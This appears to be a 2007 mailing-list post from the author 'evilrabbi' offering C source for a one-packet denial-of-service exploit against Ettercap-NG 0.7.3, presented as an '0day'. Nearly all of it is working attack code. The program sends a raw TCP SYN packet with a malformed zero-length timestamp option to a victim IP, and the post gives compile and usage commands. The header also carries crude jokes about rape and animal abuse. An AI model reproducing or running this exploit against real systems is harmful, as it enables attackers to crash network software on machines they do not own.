From: evilrabbi (evilrabbigmail.com)
Date: Thu Apr 12 2007 - 22:12:26 CDT

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/*
     WARNING WARNING WARNING

     THIS PACKAGE CONTAINS AN 0DAY.
     NO ONE CAN BE HELD RESPONSIBLE IF THIS CODE RAPES YOUR SISTER OR
MOLESTS YOUR DOG.

     WARNING WARNING WARNING

     THE ONE PACKET ETTERCAP KILLER NOW IN A SMALLER PACKAGE!

     If you want to know how this works then figure it out yourself.
     Tested with Ettercap-NG v 0.7.3 on FreeBSD 6.1 and Slackware 10.1

     greetz go out to tip, milkmang, chrak, jcb, rest of b4b0, mosthated,
xtaylor, and rest of global hell,riot, JxT,
      p00kie_p0x, tadp0le, #oldskewl, #ubergeeks, #wp, le_kickban for
fucking french women and anyone else I forgot..

     REMEBER KIDS EVILRABBI LOVES YOU :*.

    gcc -Wall -o b4b0-ettercap b4b0-ettercap.c
    ./b4b0-ettercap <victim_ip>

*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>

#define IP struct iphdr
#define TCP struct tcphdr

void usage();
unsigned short ipChecksum(unsigned short *ptr, int nbytes);

void usage()
{
int i;
for (i=0; i < 100; i++) { printf("\n");}

 printf(" VVVVVVVVVVV VVVVVVVVVVV\n");
 printf(" VVVVV[ T34M B4B0 PROUDLY PRESENTS: ]VVVV\n");
 printf(" VVVVVVVVVV VVVVVVV\n");
 printf(" VVVVVVVVV b4b0-ettercap.c VVVVVVV\n");
 printf(" . $&y VVVVVVVVVV ,p& y&$ VVVVVVVVVV,a8888a,\n");
 printf(" $$' VVVVVVVVVV,d$$$ $$' VVVVV .s$',8P\"'
`\"Y8, . \n");
 printf(" yxxx.$$.xxxxxxxxxxxx ,d$\"`$$.x.$$.xxxxxxxx.,8P.xxxx.s`$$,.xxxg
\n");
 printf(" $ P' $$,d$$Yba, ,d$\" d $$ $$,d$$Yba, 88
,$.$$$ $ \n");
 printf(" $ ' $$P' ,`$$a ,d$\" ``\" $$ , $$$P' ,`Y$a 88 ,s$,$$$
. $ \n");
 printf(" $ $$k g Y$$ $$$$$$$$$$$$$ $$f d d$$ `8b ,$$'d$$' ,d
$ \n");
 printf(" bxxx.$$$, '`,d$\".xxxxxxxx.$$.x.$$b,
',a$$\".x`8ba,,aad$$'.xxxxd. . \n");
 printf(" s$Y\"Y$bd$P',yas.VVVV s$$z $Y\"Y$$$P\"'
\"Y$$$$(headflux)$ \n");
 printf(" VVVVVVVV VVVVVVVV \n");
 printf(" VVVVVVVV VVVVVVVV \n");
 printf(" ettercap-ng v0.7.3 VVVVVVVV VVVVVVVV \n");
 printf(" Denial of Service VVVVVVVVVVVVVVVV \n");
 printf(" by EvilRabbi VVVVVVVVVVVVVV \n");
 printf(" <evilrabbi[]gmail.com VVVVVVVVVVVV \n");
 printf(" VVVVVVVVVV \n");
 printf(" VVVVVVVV \n");
 printf("./b4b0-ettercap <victim ip> VVVVVV \n");
 printf(" VVVV \n");
 printf(" VV \n");
}
unsigned short ipChecksum(unsigned short *ptr, int nbytes)
{
        register long sum;
        register u_short answer;
        u_short oddbyte;

        sum = 0;

        while (nbytes > 1) {
                sum += *ptr++;
                nbytes -= 2;
        }

        if (nbytes == 1) {
                oddbyte = 0;
                *((u_char *) & oddbyte) = *(u_char *) ptr;
                sum += oddbyte;
        }

        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
return (answer);
}

int main(int argc, char **argv)
{
    int sockfd, opt = 1;
    char tcpoptions[4];
    char dest[20];
    unsigned int pLen,sIPLen;
    unsigned char pkt[(pLen = sizeof(IP) + sizeof(TCP) + 4)];
    unsigned char ip[(sIPLen = 12 + sizeof(TCP) + 4)];
    struct hostent *he;
    struct sockaddr_in host;
    struct sockaddr_in s;

    struct in_addr etter;
    IP *iphdr = (IP *)pkt;
    TCP *tcphdr = (TCP *)((unsigned char *)pkt + sizeof(IP));

    if (getuid() != 0) {
    printf("you need to be r00t =(\n");
    exit(0);
    }

    if (argc != 2) {
    usage();
    exit(0);
    }
    if ((he=gethostbyname(argv[1])) == NULL) { // get the host info
        herror("gethostbyname");
        exit(1);
    }
    snprintf (dest,sizeof(dest)-1,"%d.%d.%d.%d\n", (unsigned
char)he->h_addr_list[0][0],
                             (unsigned char)he->h_addr_list[0][1],
                                                     (unsigned
char)he->h_addr_list[0][2],
                                                     (unsigned
char)he->h_addr_list[0][3]);

    if ((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) {
        perror("socket");
        exit(1);
    }
    setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&opt,sizeof(opt));

     etter.s_addr = inet_addr(dest);
    s.sin_addr.s_addr = INADDR_ANY;
    //etter.s_addr = inet_addr("69.46.19.77");
    memset(tcpoptions,0,sizeof(tcpoptions));
    tcpoptions[0]=0x08;
    tcpoptions[1]=0x00;
    tcpoptions[2]=0x00;
    tcpoptions[3]=0x00;

    memset(&host, 0, sizeof(host));
    memset(pkt, 0, pLen);
    memcpy(pkt+sizeof(IP)+sizeof(TCP), tcpoptions, sizeof(tcpoptions));
    memset(ip, 0, sIPLen);
    *((unsigned long *)((unsigned char *)ip+0)) = s.sin_addr.s_addr;
    *((unsigned long *)((unsigned char *)ip+4)) = etter.s_addr;
    *((unsigned char *)((unsigned char *)ip+8)) = 0;
    *((unsigned char *)((unsigned char *)ip+9)) = IPPROTO_TCP;
    *((unsigned short *)((unsigned char *)ip+10)) = htons(pLen -
sizeof(IP));
    iphdr->version = 4;
    iphdr->ihl = 5;
    iphdr->id = rand() & 0xFFFF;
    iphdr->id = iphdr->id + 1;
    iphdr->saddr = s.sin_addr.s_addr;
    iphdr->daddr = etter.s_addr;
    iphdr->protocol = IPPROTO_TCP;
    iphdr->ttl = 255;
    iphdr->tot_len = pLen;
    iphdr->check = ipChecksum((u_short *)iphdr, sizeof(IP));

    host.sin_family = AF_INET;
    host.sin_addr.s_addr = etter.s_addr;

    tcphdr->source = htons(8);
    tcphdr->dest = htons(1);
    tcphdr->seq = htonl(rand());
    tcphdr->ack_seq = htonl(rand());
    tcphdr->doff = ((sizeof(TCP)+4) / 4);
    tcphdr->check=0;
    tcphdr->fin = 0;
    tcphdr->syn = 1;
    tcphdr->rst = 0;
    tcphdr->psh = 0;
    tcphdr->ack = 0;
    tcphdr->urg = 0;
    tcphdr->window = htons(5840);
    memcpy(ip+12, ((unsigned char *)pkt)+sizeof(IP), pLen - sizeof(IP));
    tcphdr->check = ipChecksum((u_short *)&ip, sIPLen);

   sendto(sockfd, pkt, pLen, 0, (struct sockaddr *)&host, sizeof(host));

   return 0;
}

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